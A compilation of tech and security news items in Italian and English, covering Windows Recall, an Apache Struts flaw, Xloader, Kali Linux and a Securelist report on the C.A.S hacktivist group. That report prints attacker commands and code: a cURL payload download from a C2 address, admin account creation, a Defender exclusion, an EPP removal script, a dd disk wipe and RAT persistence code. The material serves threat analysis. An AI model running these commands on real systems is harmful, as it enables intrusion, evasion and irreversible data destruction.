Microsoft sta testando ancora una volta la funzionalità Recall, il cui rilascio era stato precedentemente ritardato a causa di problemi di privacy e sicurezza. Recall è attualmente disponibile solo per i membri del programma Windows Insiders, ma gli utenti hanno già notato dei problemi: la funzione salva numeri di carte bancarie, numeri di previdenza sociale e altre informazioni sensibili, anche quando è vietata.

Come funziona Windows Recall

Ricordiamo che Recall è stato introdotto a maggio 2024. La funzionalità è pensata per aiutare a “ricordare” qualsiasi informazione che l’utente ha visualizzato in passato, rendendola accessibile tramite una semplice ricerca. Pertanto, Recall, che doveva essere abilitato per impostazione predefinita su tutti i nuovi PC Copilot+, scatta un’istantanea della finestra attiva sullo schermo ogni pochi secondi, registrando tutto ciò che accade in Windows, sia che si visiti i siti Web in un browser, comunicando in modo istantaneo. messenger o lavorare con altre applicazioni.

Le immagini risultanti vengono elaborate dalla Neural Processing Unit (NPU) del dispositivo e da un modello AI per estrarre i dati dagli screenshot. Le informazioni vengono quindi archiviate nel database e gli utenti possono effettuare ricerche nella cronologia utilizzando query nella loro lingua madre.

Subito dopo il suo annuncio, Recall è stato pesantemente criticato sia dagli esperti di sicurezza che dai difensori della privacy. Gli esperti hanno paragonato la funzione a un keylogger e hanno dimostrato che con esso si possono rubare dati. In risposta a queste critiche, Microsoft ha ritardato il lancio di Recall e ha affermato che avrebbe fornito ulteriore sicurezza rendendo la funzionalità opzionale e crittografando il database in modo che sia inaccessibile finché l’utente non viene autenticato utilizzando Windows Hello.

L’esperimento di Tom’s Hardware

Secondo Tom’s Hardware, Recall è recentemente diventato di nuovo disponibile per i membri del programma Windows Insiders. La funzione ora dovrebbe crittografare i dati e viene fornita con l’impostazione Filtra informazioni sensibili abilitata per impostazione predefinita, progettata per bloccare la registrazione di app e siti che potrebbero visualizzare numeri di carte bancarie, numeri di previdenza sociale e altre informazioni finanziarie e personali. Tuttavia, i giornalisti hanno scoperto che questo filtro non sempre funziona.

Pertanto, Recall ha catturato con successo il testo dal Blocco note con un nome utente, una password e un numero di carta bancaria casuali, sebbene accanto ad esso fosse scritto il nome della banca e del sistema di pagamento (“Capital One Visa”).

Allo stesso modo, Recall ha ignorato le impostazioni e ha acquisito i dati da una richiesta di prestito completata in formato PDF, aperta in Microsoft Edge. Il documento conteneva un numero di previdenza sociale, nome e data di nascita.

Una funzionalità ancora da migliorare

Anche la creazione di una semplice pagina HTML che diceva direttamente “Inserisci il numero della tua carta di credito” e forniva campi per inserire il numero della carta, il codice CVC e la data di scadenza della carta non ha aiutato ad attivare il filtro. Recall ha catturato e salvato con successo tutti i dati inseriti nel modulo.

Allo stesso tempo, la nuova funzione Microsoft ha rifiutato di acquisire i dati delle carte bancarie dopo aver visitato le pagine di pagamento di due negozi online: Pimoroni e Adafruit. Cioè, per i siti commerciali reali il filtro funzionava ancora.

“Cioè, quando si trattava di veri siti commerciali, Recall ha fatto tutto bene. Tuttavia, il mio esperimento mostra che è quasi impossibile per il filtro AI di Microsoft rilevare tutte le situazioni in cui vengono visualizzate informazioni sensibili sullo schermo ed evitare di catturarle. I miei esempi sono stati pensati per testare un filtro, ma questi non sono casi affatto rari. Le persone inseriscono informazioni personali sensibili nei moduli PDF. Registrano, copiano e incollano i dati in file di testo, quindi li inseriscono in siti che non assomigliano ai tipici siti di negozi”, afferma Avram Piltch, redattore capo di Tom’s Hardware.

Quando la pubblicazione ha contattato i rappresentanti di Microsoft per un commento, la società ha risposto con un collegamento a un post sul blog dedicato a Recall. Dice che gli sviluppatori “stanno continuando a migliorare questa funzionalità” e consiglia di segnalarlo tramite Hub di feedback se trovi informazioni sensibili che dovrebbero essere filtrate.

Allo stesso tempo, Pilch osserva che i dati catturati da Recall sono ora effettivamente crittografati (la forza di questa crittografia sarà sicuramente verificata dai ricercatori di sicurezza) e l’accesso ad essi richiede l’autenticazione tramite Windows Hello. Secondo lui gli screenshot vengono salvati in una sottocartella chiamata AsymStore e non possono essere aperti come PNG, BMP o JPG.

“È possibile che gli hacker riescano a capire come aprire questi file, ma per quanto ne so, l’utente medio non sarà in grado di aprirli al di fuori dell’app Recall”, conclude Pilch.

L'articolo Windows Recall Salva i Dati Delle Carte Di Credito nelle immagini proviene da il blog della sicurezza informatica.

La vulnerabilità critica recentemente risolta in Apache Struts 2 (CVE-2024-53677) viene già utilizzata attivamente dagli hacker e viene attaccata utilizzando exploit proof-of-concept pubblici.

La scorsa settimana, gli sviluppatori Apache hanno reso pubblico il bug critico CVE-2024-53677 (punteggio CVSS 9,5). È stato segnalato che si trattava di un attacco path traversal nel caricamento dei file, consentendo il caricamento di file dannosi (come le shell Web), portando all’esecuzione di codice remoto.

La vulnerabilità colpisce le versioni Struts 2.0.0-2.3.37 (versione obsoleta), 2.5.0-2.5.33 e 6.0.0-6.3.0.2.

“Un utente malintenzionato può manipolare le impostazioni di caricamento dei file per ottenere l’attraversamento del percorso e, in determinate circostanze, ciò potrebbe comportare il caricamento di un file dannoso che può essere utilizzato per l’esecuzione di codice in modalità remota”, hanno scritto gli sviluppatori.

Questa vulnerabilità è simile al vecchio bug CVE-2023-50164 si ritiene che sia dovuta a una correzione inefficace o incompleta.

Gli specialisti dell’ISC SANS stanno già segnalando tentativi di sfruttamento del nuovo problema. Secondo loro, gli aggressori sembrano utilizzare exploit PoC disponibili al pubblico o esserne notevolmente “ispirati”.

Attualmente, gli aggressori mirano a identificare i sistemi vulnerabili utilizzando un exploit per scaricare il file exploit.jsp, che contiene una singola riga di codice per stampare la stringa “Apache Struts”. L’exploit tenta quindi di accedere allo script e verificare che il server sia affetto dal bug o meno.

Si consiglia agli utenti di aggiornare Struts alla versione 6.4.0 il prima possibile e di passare al nuovo meccanismo di caricamento dei file. Il punto è che installare semplicemente una patch non è sufficiente: il codice responsabile della gestione del caricamento dei file nelle applicazioni Struts deve essere riscritto per utilizzare il nuovo meccanismo Action File Upload.

“Continuando a utilizzare il vecchio meccanismo di caricamento file, rimani vulnerabile a tali attacchi”, avverte l’azienda.

L'articolo Struts2: Un Path Traversal porta al caricamento di una Web Shell. La caccia è già iniziata! proviene da il blog della sicurezza informatica.

Does “Pix or it didn’t happen” apply to traveling to the edge of space on a balloon-lofted solar observatory? Yes, it absolutely does.

The breathtaking views on this page come courtesy of IRIS-2, a compact imaging package that creators [Ramón García], [Miguel Angel Gomez], [David Mayo], and [Aitor Conde] recently decided to release as open source hardware. It rode to the edge of space aboard Sunrise III, a balloon-borne solar observatory designed to study solar magnetic fields and atmospheric plasma flows.

To do that the observatory needed a continual view of the Sun over an extended period, so the platform was launched from northern Sweden during the summer of 2024. It rose to 37 km (23 miles) and stayed aloft in the stratosphere tracking the never-setting Sun for six and a half days before landing safely in Canada.

Strictly speaking, IRIS-2 wasn’t part of the primary mission, at least in terms of gathering solar data. Rather, the 5 kg (11 pound) package was designed to provide engineering data about the platform, along with hella cool video of the flight. To that end, it was fitted with four GoPro cameras controlled by an MPS340 microcontroller. The cameras point in different directions to capture all the important action on the platform, like the main telescope slewing to track the sun, as well as details of the balloon system itself.

The controller was programmed to record 4K video at 30 frames per second during launch and landing, plus fifteen minutes of 120 FPS video during the balloon release. The rest of the time, the cameras took a single frame every two minutes, which resulted in some wonderful time-lapse sequences. The whole thing was powered by 56 AA batteries, and judging by the video below it performed flawlessly during the flight, despite the penetrating stratospheric cold and blistering UV exposure.

Hats off to the IRIS-2 team for this accomplishment. Sure, the videos are a delight, but this is more than just eye candy. Seeing how the observatory and balloon platform performed during flight provides valuable engineering data that will no doubt improve future flights.

youtube.com/embed/CKWAjiNBPxo?…

hackaday.com/2024/12/18/catchi…

About C.A.S

C.A.S (Cyber Anarchy Squad) is a hacktivist group that has been attacking organizations in Russia and Belarus since 2022. Besides data theft, its goal is to inflict maximum damage, including reputational. To this end, the group’s attacks exploit vulnerabilities in publicly available services and make extensive use of free tools.

Our latest investigation unearthed new activity by the group, explored the attack stages, and analyzed the tools and malware used. In addition, we discovered links between C.A.S and other hacktivist groups, such as the Ukrainian Cyber Alliance and DARKSTAR.

Like most hacktivist groups, C.A.S uses Telegram as a platform to spread information about victims. We found a channel that posts news and messages about the group’s attacks and ideology, as well as a chat hosting a discussion of its activities.

C.A.S on Telegram

Note: this post examines active Telegram channels that we presume to be run by hacktivist groups. Use these sources with caution.

Tactics

This section analyzes the attack chain as per the MITRE ATT&CK framework, as well as the tools we found in the current C.A.S campaign.

Initial Access

C.A.S gains initial access to targeted systems by means of the Exploit Public-Facing Application technique (T1190). The attackers compromise Jira, Confluence and Microsoft SQL Server services using vulnerabilities that we were unable to identify due to the data storage limitations of the attacked segment. However, our analysis of the group leader’s messages in the C.A.S Telegram channel suggests that the hacktivists do not use phishing emails as an initial attack vector. Instead, they likely attack vulnerable network resources or gain access to systems after their compromise by third parties.

Messages from the C.A.S leader known as The Way

Translation:
But I need them to let us into the network mole/fishers

The aim of the C.A.S group is to inflict maximum financial and reputational damage on organizations in Russia and Belarus. In pursuit of this goal, they likely exploit vulnerabilities not only in Jira, Confluence and MS SQL, but in other publicly available services and systems too. What’s more, we are aware of attacks carried out by C.A.S in collaboration with other groups, which is another way they gain initial access and move through victims’ infrastructure.

Message about the group’s methods of gaining initial access

Translation:
but our method is to technically break through the outer perimeter, and those organizations that we need here and now often prefer to maintain 1 site, 2–3 reliable services and not poke around the network once again. so you set yourself the task to hack the company N. naturally, this is done through phishing, but unfortunately, we simply don’t have any fishers in our squad, and our arsenal is not designed for beacon flooding, but for exploits

Execution

To move further through the infrastructure, the threat actors used rare open-source remote access Trojans (RATs), including Revenge RAT and Spark RAT, which we have not seen in attacks by other hacktivists. These utilities allowed them to remotely control the infected systems and execute various commands.

In one incident, we detected the use of a compromised MS SQL service to execute commands in cmd. This was indicated by the cmd.exe process running as a child process of sqlservr.exe.

The attackers also used PowerShell to execute scripts:
powershell.exe -ex bypass -f \\[DOMAIN]\netlogon\rm.ps1
On top of this, the attackers downloaded the Meterpreter reverse shell for the Metasploit framework from the C2 server to the infected host using the cURL tool:
"$system32\cmd.exe",""$system32\cmd.exe" /c cd %appdata% && dir && curl -O
hxxp://185.117.75[.]3:8092/sdc.exe
In some reverse shell incidents, we also found traces of Revenge RAT (48210CA2408DC76815AD1B7C01C1A21A) being run through the PowerShell process:
powershell.exe -WindowStyle Hidden -NoExit -Command
[System.Reflection.Assembly]::LoadFile('C:\Users\<username>\Downloads\
<exe_name>.exe').EntryPoint.Invoke($null, @())

Persistence

To gain persistence in the system, the threat actors created accounts on compromised hosts using the net.exe utility:
C:\Windows\system32\cmd.exe" /c net user admin cas /add
C:\Windows\system32\cmd.exe" /c net user admin admin123123123 /add
It’s worth noting that they used the password
cas for the admin account, matching the name of the group.
We also found samples of Revenge RAT that had gained persistence in the system by adding registry keys to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
try {
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true);
try {
if (!((string)((registryKey != null) ? registryKey.GetValue("\"" +
Path.GetFileNameWithoutExtension(Program._installName) + "\"") : null) == text) &&
registryKey != null) {
registryKey.SetValue(fileNameWithoutExtension, "\"" + text + "\"");
}
} catch {
if (registryKey != null) {
registryKey.SetValue(fileNameWithoutExtension, "\"" + text + "\"");
}
}
if (registryKey != null) {
registryKey.Dispose();
}
}
internal static string _installName = "rpchost.exe";
These Trojan samples were additionally copied to the Startup folder:
File.Copy(Application.ExecutablePath, "C:\\Users\\" + Environment.UserName +
"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" +
Program._installName);

internal static string _ip = "194.36.188.94";
internal static string _installName = "svhost.exe";
During execution, one of the above RAT samples (FC3A8EABD07A221B478A4DDD77DDCE43) created a watchdog timer file called svxhost.exe in the C:\Windows\System32 directory, wrote information to this file, created the NgcMngrSvc service with svxhost.exe as an executable file, and ran this service.

[HandleProcessCorruptedStateExceptions]private static void CreateWatchdog() {
Program.hService = Helper.OpenService(Program.hSCM, "NgcMngrSvc", 4);
if (Program.hService == IntPtr.Zero) {
try {
File.WriteAllBytes(Program.system + "svxhost.exe",
Program.GetResource("dog"));
} catch {
}
Program.hService = Helper.CreateService(Program.hSCM, "NgcMngrSvc", "Microsoft
Passport Manager", 983551, 16, 2, 0, Program.system + "svxhost.exe", null, IntPtr.Zero,
null, null, null);
}
Helper.StartService(Program.hService, 0, null);
}

Defense Evasion

During our incident investigations, we often noted that the attackers gained full control over information security tools because these were not properly configured. To implement effective anti-attack measures, it is vital to perform regular testing, updating and integration of security systems. A key factor in securing infrastructure is compliance with password-protection policies for access to the information security systems.

In one of the incidents, C.A.S managed to disable an EPP agent without a password, using the rm.ps1 script.
$guidQuery = wmic product where "[redacted]" get IdentifyingNumber
$guid = $guidQuery | Select-String -Pattern "{[A-F0-9-]+}" | ForEach-Object {
$_.Matches[0].Value }

if ($guid -ne $null) {
$msiexecCommand2 = "msiexec.exe /x $guid /quiet"
Start-Process -NoNewWindow -FilePath cmd -ArgumentList "/c $msiexecCommand2"
}
The final command to disable the EPP agent was this:
cmd.exe /c msiexec.exe /x {GUID} /quiet
Also, as part of the Defense Evasion technique, the attackers use Revenge RAT to add the $windir\$system32 directory to the Windows Defender exclusion list. This allows the group to hide its activity, because the RAT itself and its malicious payload are both installed in this folder.
"\"$windir\\$system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -WindowStyle Hidden -
Command \"Add-MpPreference -ExclusionPath '$windir\\$system32'\""
And to further reduce the likelihood of detection, the attackers use a malware naming convention that mimics legitimate Windows processes:
C:\Windows\System32\svxhost.exe
C:\Windows\System32\svrhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe
C:\Windows\panther\ssbyt.exe

Credential Access

In our study of hacktivist groups (Twelve, BlackJack, Head Mare, Crypt Ghouls and others), we often encountered the use of the same credential extraction tools, namely XenAllPasswordPro, BrowserThief and Mimikatz. These tools have long been known in the community and regularly feature in our crimeware reports.

• XenAllPasswordPro extracts passwords from system storages.
• BrowserThief compromises browser data, including autofill data and saved accounts.
• Mimikatz extracts password hashes from Windows RAM.

C.A.S is no exception: we found these tools in their attacks as well. This is yet further proof that hacktivist groups attacking Russia and Belarus tend to deploy the same arsenal of publicly available utilities.

Discovery

At the infrastructure exploration stage, the attackers made active use of various commands to collect information. Here’s a list of the commands we logged:

The Revenge RAT samples also ran WMI queries to collect information about the operating system and CPU to be sent to the attackers’ command-and-control (C2) server:
SELECT * FROM Win32_OperatingSystem
SELECT UserName FROM Win32_ComputerSystem
SELECT * FROM WIN32_Processor

Command and Control

To communicate with the C2 server, C.A.S uses various tools. We saw the use of reverse shells generated by the msfvenom tool for the Metasploit framework, as well as publicly available RATs.

Revenge RAT

The attackers first used Revenge RAT to establish a connection to the C2 server, then downloaded and installed the necessary payloads of various frameworks; they also collected data about the infected host and sent it to the server.

We found two similar customized samples of Revenge RAT in the attacks we investigated. Below is a full list of functions found in these variants:

The configuration files for these samples are also similar:

Spark RAT

As mentioned above, the group used another remote access Trojan called Spark RAT. Below is its configuration:
{
  "secure":false,
  "host":"185.117.75.3",
  "port":9610,
  "path":"/",
  "uuid":"3917b41****",
  "key":"aa494c90****"
}
From the IP address specified in the configuration, the attackers downloaded the Meterpreter payload to the victim’s device.

Alongside this, Spark RAT automatically collects and sends the following system information to the C2 server:

Spark RAT provides the operator with a wide range of commands to control the target device. These commands allow both basic operations (such as PING to check client availability, SHUTDOWN to turn off the device, and RESTART to reboot it) as well as more complex ones, such as remote file management (FILES_LIST, FILES_FETCH, FILES_UPLOAD), terminal interaction (TERMINAL_INIT, TERMINAL_INPUT, TERMINAL_RESIZE) and remote desktop access (DESKTOP_INIT, DESKTOP_SHOT). Also available to the operator are commands to manage processes (PROCESSES_LIST, PROCESS_KILL) and execute system commands (COMMAND_EXEC).

Meterpreter

In one of the incidents, we found a Meterpreter reverse shell (6CBC93B041165D59EA5DED0C5F377171). Using this, the group was able to gain full access to the compromised system and do the following:

1. Remotely manage the file system;
2. Intercept network traffic;
3. Log keystrokes;
4. Extract password hashes;
5. Perform pivoting techniques through compromised hosts;
6. Monitor the webcam and microphone.

The reverse shell contains the following C2 server address and port:
185.117.75[.]35:4444

Impact

To cause damage to victims, the group encrypts their infrastructure. As we’ve noted before in similar hacktivist attacks, the threat actors’ arsenal consists of leaked LockBit ransomware builders for Windows systems and Babuk for Linux systems. In the majority of C.A.S attacks, encrypted file extensions are generated randomly; but sometimes the number 3119 appears both in the name of the executable file of the ransomware Trojan, and in the extensions added to encrypted files. This number often crops up in C.A.S activity — we see it in usernames, ransom notes, encrypted file extensions and group-related merchandise. It is not a random sequence of digits, but represents the positions of the letters C, A, and S in the alphabet: C is 3, A is 1 and S is 19.

One of the group’s ransomware samples is named 3119.exe. In our investigation of a C.A.S attack involving this sample, we found a ransom note displayed after file encryption in the system:

C.A.S ransom note

Besides encryption, the attackers can destroy data in different segments of the victim’s network or on specific servers. To do this, they first collect information about attached drives using the df system utility:
df -h
Then, to destroy the data, they use the dd system utility, which executes /dev/zero — a file that generates an endless stream of null bytes. The attackers copy null bytes from /dev/zero to the /dev/[VOLUME] partition of their choice in 4 MB blocks. This overwrites the data in the partition with zeros, wiping it forever.
dd if=/dev/zero of=/dev/[VOLUME] bs=4M
This operation allows the attackers to irreversibly destroy data on the victim’s servers.

On Telegram, the perpetrators often confirm their destructive impact on victims’ infrastructure. In their posts, they describe what they did and attach screenshots with the results of their operations. Which part of the infrastructure to encrypt and which to destroy immediately is the attackers’ choice: it depends on the situation.

Public chat message from C.A.S

Translation:
Context: these servers have been down for 3 days, one was erased (namely the volumes with data), the second was encrypted (only the directories with data). Today they were wiped to the root.

Victims

C.A.S targets companies from Russia and Belarus in various industries, including government and commercial organizations, entertainment and technology firms, telecommunications companies and industrial enterprises. This suggests that victims are chosen based on their location, regardless of their field of activity.

The group often writes about its victims on Telegram, posting screenshots of infrastructure, stolen documents and links to cloud storages or forums offering stolen data for download.

Connections to other groups

As mentioned above, besides its Telegram channel, C.A.S hosts a public chat where group members and followers actively communicate. Interestingly, the chat administrators belong not only to C.A.S, but to related groups; one of them, who goes by the name of Sean Townsend, is an administrator of the hacktivist group RUH8 and the press secretary of the Ukrainian Cyber Alliance (U.C.A).

C.A.S Discussions chat administrators and the Telegram account of the C.A.S leader The Way

In its Telegram channel, C.A.S states that it sometimes works with other groups that share its mission to attack organizations from Russia and Belarus. For example, we found posts about joint attacks by C.A.S with U.C.A, RUH8, RM-RF and others:

Message about a joint attack by C.A.S and U.C.A

Message about a joint attack by C.A.S, RUH8 and RM-RF

Translation:
Thanks to colleagues who helped with the last attack

While investigating an incident in the infrastructure of one C.A.S victim, we also found traces of compromise pointing to the DARKSTAR group (also known by the names Shadow and Comet). In one incident, we discovered the following files:

These findings are further evidence of a connection between groups targeting Russian organizations. As part of their collaboration, group members likely share access to victims’ infrastructure, C2 infrastructure and tools. They also exchange information about attacks on Telegram as a way to increase campaign visibility, discredit victims and inflict reputational damage.

Takeaways

The C.A.S group poses a serious threat to organizations in Russia and Belarus. The threat actors attack key industries using an array of tools and techniques that we have observed in the campaigns of other hacktivist groups. C.A.S attacks utilize rare RATs, publicly available remote management tools, and a range of vulnerability exploitation methods. In addition, the group spreads information about its attacks through a public Telegram channel, which causes both financial and reputational damage to victims. A more detailed analysis of C.A.S attacks is available to our Threat Intelligence subscribers.

The group openly confirms that it actively collaborates with other attackers targeting Russia. Joint actions and use of a common infrastructure point to the emergence of a sophisticated attack ecosystem, in which hacktivist groups share resources, tools and access to improve efficiency and scale operations. This strategy not only complicates attribution, but significantly increases the destructive potential of attacks.

To effectively counter such groups, it is vital to harden system defenses, apply regular updates to cybersecurity tools and leverage data analytics for monitoring relevant threat activity. It is also critically important to follow best practices when configuring your information security systems. We strongly recommend the following guides:

• Configuring protection for managed applications;
• Hardening Guide.

Following these instructions will minimize the risks of compromise and increase your system’s resistance to possible attacks.

Indicators of compromise

Revenge RAT

Spark RAT

Meterpreter

File path
C:\windows\System32\svxhost.exe
C:\Windows\system32\svrhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe
C:\Windows\panther\ssbyt.exe
C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.exe

IPs
194.36.188[.]94
185.117.75[.]3

securelist.com/cyber-anarchy-s…

The itch to investigate lurks within all us hackers. Sometimes, you just have to pull something apart to learn how it works. [Stephen Crosby] found himself doing just that when he got his hands on a Flume water monitor.

[Stephen] came by the monitor thanks to a city rebate, which lowered the cost of the Flume device. It consists of two main components: a sensor which is strapped to the water meter, and a separate “bridge” device that receives information from the sensor and delivers it to Flume servers via WiFi. There’s a useful API for customers, and it’s even able to integrate with a Home Assistant plugin. [Stephen] hoped to learn more about the device so he could scrape raw data himself, without having to rely on Flume’s servers.

Through his reverse engineering efforts, [Stephen] was able to glean how the system worked. He guides us through the basic components of the battery-powered magnetometer sensor, which senses the motion of metering components in the water meter. He also explains how it communicates with a packet radio module to the main “bridge” device, and elucidates how he came to decompile the bridge’s software.

When he sent this one in, [Stephen] mentioned the considerable effort that went into reverse engineering the system was “a very poor use” of his time — but we’d beg to differ. In our book, taking on a new project is always worthwhile if you learned something along the way. Meanwhile, if you’ve been pulling apart some weird esoteric commercial device, don’t hesitate to let us know what you found!

hackaday.com/2024/12/18/learni…

Nell’era della digitalizzazione, le minacce informatiche diventano sempre più sofisticate e difficili da rilevare. Recentemente, una campagna di attacco mirata ha sfruttato SharePoint per distribuire Xloader, un malware noto anche come Formbook.

Questo attacco rappresenta un esempio di alto livello di ingegneria del cybercrimine, con tecniche avanzate di evasione e compromissione.

L’attacco dietro SharePoint

Source: sublime.security
Gli attaccanti hanno orchestrato un attacco complesso basato su email ingannevoli che simulavano comunicazioni ufficiali di SharePoint. Un pulsante fittizio “Open Files” indirizzava le vittime a un file .zip dannoso, ospitato su un server esterno. Al suo interno, un file binario denominato document.exe era progettato per eseguire attività malevole.

Il Sublime Threat Research Team ha identificato l’attacco grazie a indicatori sospetti:

• Impersonificazione del marchio Microsoft: Loghi falsi e modelli di SharePoint creati con tecniche di visione artificiale.
• Domini sospetti: I domini del mittente non corrispondevano alle destinazioni dei link.
• Linguaggio manipolatorio: Frasi studiate per rubare credenziali attraverso l’ingegneria sociale.

Grazie al servizio LinkAnalysis, il team ha seguito il percorso dei link, scaricato i file e analizzato ogni elemento. Il binario document.exe si è rivelato essere uno script AutoIT, un linguaggio di scripting legittimo ma spesso abusato dai cybercriminali.

L’analisi ha evidenziato

• Obfuscazione complessa: Shellcode mascherato, con trucchi anti-analisi come GetTickCount e Sleep per sfuggire alle emulazioni.
• Injection avanzato: Lo script si iniettava in processi come svchost.exe e netsh.exe, una caratteristica distintiva dei malware loader.
• Tracce lasciate: Un file denominato “lecheries” nella directory temporanea ha permesso ulteriori indagini sul comportamento del malware.

Strumenti come Ghidra e x32dbg hanno rivelato l’uso di API critiche (CreateProcessW, VirtualAlloc, SetThreadContext), sottolineando la sofisticazione dell’attacco.

La payload finale è stata identificata come Xloader, un infostealer capace di:

• Raccogliere credenziali, screenshot e sequenze di tasti.
• Effettuare injection in più processi, incluso explorer.exe.
• Utilizzare il doppio caricamento di ntdll.dll per aggirare i rilevatori.

L’indagine ha anche collegato l’attacco a TrickGate, un noto packer malware utilizzato per distribuire Xloader. Gli elementi iniziali dello script AutoIT e dello shellcode presentavano tecniche associate a TrickGate, come confermato da precedenti ricerche.

Conclusione

Questa campagna evidenzia la necessità di un monitoraggio costante e di strategie difensive sempre più avanzate per contrastare le minacce informatiche. Le tecniche sofisticate impiegate dai cybercriminali richiedono risposte rapide, preventive e basate su aggiornamenti tempestivi, oltre a una consapevolezza organizzativa elevata.

Proteggersi non è solo una questione tecnica, ma un impegno continuo nell’analisi delle dinamiche di attacco e nella costruzione di infrastrutture digitali resilienti. La capacità di adattarsi a un panorama digitale sempre più complesso è fondamentale per ridurre i rischi e garantire la sicurezza in un contesto interconnesso e in continua evoluzione.

L'articolo Allarme Xloader: Come un Malware Usa SharePoint per Colpire le Aziende proviene da il blog della sicurezza informatica.

The Brennan torpedo, invented in 1877 by Louis Brennan, was one of the first (if not the first) guided torpedoes of a practical design. Amazingly, it had no internal power source but it did have a very clever and counter-intuitive mode of operation: a cable was pulled backward to propel the torpedo forward.

If the idea of sending something forward by pulling a cable backward seems unusual, you’re not alone. How can something go forward faster than it’s being pulled backward? That’s what led [Steve Mould] to examine the whole concept in more detail in a video in a collaboration with [Derek Muller] of Veritasium, who highlights some ways in which the physics can be non-intuitive, just as with a craft that successfully sails downwind faster than the wind.

Pulling the cable out the back of the device turns the propeller thanks to a pulley-type assembly with the prop shaft connected to a drum, as seen in the animation here. The actual Brennan torpedo was somewhat more complex, but the operating principle was the same.

The real thing had two cables coming out the back and drove two counter-rotating props. It could be steered by changing the relative speed at which the two cables were pulled, which caused a rudder to turn and allowed the torpedo to be guided. It really was very clever, and the Brennan torpedo was in service for over a decade before being superseded by designs with internal power systems that could be launched by ship.

The basic concept is explored with the help of a working model in the video embedded below, along with identifying what makes the physics tricky to intuit. If you have a few extra minutes to admire the importance of leveraging mechanical advantage, check it out.

youtube.com/embed/qvtZIdSI1Yk?…

hackaday.com/2024/12/17/pullin…

Uno studio del Southern Poverty Law Center (SPLC) ha scoperto che gli algoritmi di Telegram facilitano la diffusione di contenuti estremisti. Secondo il rapporto, la funzione “canali simili”consiglia agli utenti comunità estremiste anche quando visualizzano argomenti neutrali, come celebrità o tecnologia.

Un’analisi di oltre 28.000 canali ha rivelato che la piattaforma promuove ideologie radicali. Ad esempio, la ricerca di “Donald Trump” su un account appena creato ha immediatamente portato alla luce consigli per canali correlati alla teoria della cospirazione di QAnon. Questa teoria sostiene che Trump stia conducendo una lotta segreta contro i “satanisti” dell’élite mondiale. Un altro esempio: la ricerca di “unrest in the UK” ha mostrato un meme con un’immagine di Adolf Hitler e in primo luogo collegamenti a canali di gruppi estremisti.

I ricercatori dell’SPLC hanno concluso che gli utenti interessati a un tipo di contenuto radicale potrebbero essere dirottati verso altre forme di estremismo, tra cui l’antisemitismo e le ideologie di estrema destra. Il rapporto sottolinea che i gruppi estremisti utilizzano attivamente Telegram non solo per diffondere meme e disinformazione, ma anche per organizzare azioni reali con la partecipazione delle persone.

Va notato che dopo la tragedia di Southport, che ha scatenato disordini, su Telegram apparvero i primi inviti alla protesta, accompagnati da false dichiarazioni sullo status del presunto aggressore.

Telegram insiste affinché gli utenti abbiano accesso solo ai contenuti a cui sono iscritti. Secondo i rappresentanti dell’azienda, la funzione di raccomandazione dei canali mostra solo le risorse che corrispondono agli interessi dell’utente e differiscono dagli algoritmi di altre piattaforme.

La società ha affermato di rimuovere ogni giorno milioni di contenuti dannosi utilizzando team di moderazione e strumenti di intelligenza artificiale.

Allo stesso tempo, il fondatore di Telegram Pavel Durov è indagato in Francia con l’accusa di favoreggiamento del traffico di droga, criminalità organizzata e distribuzione di materiale CSAM. Lo stesso Durov nega tutte le accuse. Le autorità francesi gli hanno vietato di lasciare il Paese fino alla conclusione del procedimento.

Un ex dipendente di Telegram ha affermato di aver cercato di convincere Durov nel 2021 a prestare maggiore attenzione al problema dei contenuti estremisti. Tuttavia, la risposta di Durov è stata che la piattaforma non dovrebbe decidere chi ha diritto alla libertà di parola.

I ricercatori dell’SPLC sottolineano che Telegram, nonostante le sue misure, rimane una minaccia significativa nel mondo digitale. Secondo gli esperti, gli algoritmi della piattaforma contribuiscono alla diffusione di contenuti pericolosi e possono avere gravi conseguenze per la società.

L'articolo Black Telegram: Gli Algoritmi Spingono i Contenuti estremisti, Lo Denuncia l’SPLC proviene da il blog della sicurezza informatica.

La nuova versione di Kali Linux include 14 nuovi strumenti, un supporto migliorato per Raspberry Pi, il passaggio a Python 3.12 per impostazione predefinita e l’interruzione delle immagini per l’architettura i386.

La versione Kali Linux 2024.4 è tradizionalmente aggiornata con nuovi strumenti per gli specialisti della sicurezza informatica. Tra questi:

• bloodyad: framework per l’escalation dei privilegi in Active Directory;
• certi: richiesta di certificati ad ADCS e rilevamento di modelli;
• chainsaw: ricerca di artefatti Windows per analisi forensi digitali;
• findomain: soluzione per il riconoscimento dei domini;
• hexwalk: Analizzatore ed editor esadecimale;
• linkedin2username: genera elenchi di nomi utente per le aziende LinkedIn;
• mssqlpwner: uno strumento per interagire e hackerare server MSSQL;
• openssh-ssh1: client SSH per il protocollo legacy SSH1;
• proximoth: rilevatore di vulnerabilità di attacco al frame di controllo;
• python-pipx: esecuzione di binari Python in ambienti isolati;
• sara: ispettore di sicurezza RouterOS;
• web-cache-vulnerability-scanner: tester per l’avvelenamento della cache web;
• xsrfprobe: strumenti per analizzare e sfruttare le vulnerabilità CSRF;
• zenmap: interfaccia per lo scanner di rete nmap.

Fine del supporto per i386. Con la nuova versione di Kali Linux è stata interrotta la creazione di immagini per l’architettura i386. La decisione è stata presa in relazione al rifiuto di Debian di supportare le build a 32 bit nell’ottobre 2024. Nonostante ciò, i pacchetti i386 rimangono ancora disponibili nel repository e possono essere eseguiti su sistemi x86-64.

Transizione a Python 3.12 e modifiche per pip. Python 3.12 è diventato il nuovo interprete predefinito. L’installazione diretta dei pacchetti utilizzando pip è ora disabilitata per evitare conflitti con il gestore pacchetti apt del sistema. Kali offre invece il comando pipx, che consente di isolare pacchetti di terze parti.

Aggiornamenti OpenSSH e Raspberry Pi. OpenSSH versione 9.8p1 ​​​​in Kali Linux 2024.4 non supporta più le chiavi DSA. Per i sistemi più vecchi con questo tipo di chiave è disponibile il client SSH1, congelato alla versione 7.5. Tuttavia, gli strumenti che non riconoscono ssh1 potrebbero perdere la compatibilità con i sistemi legacy.

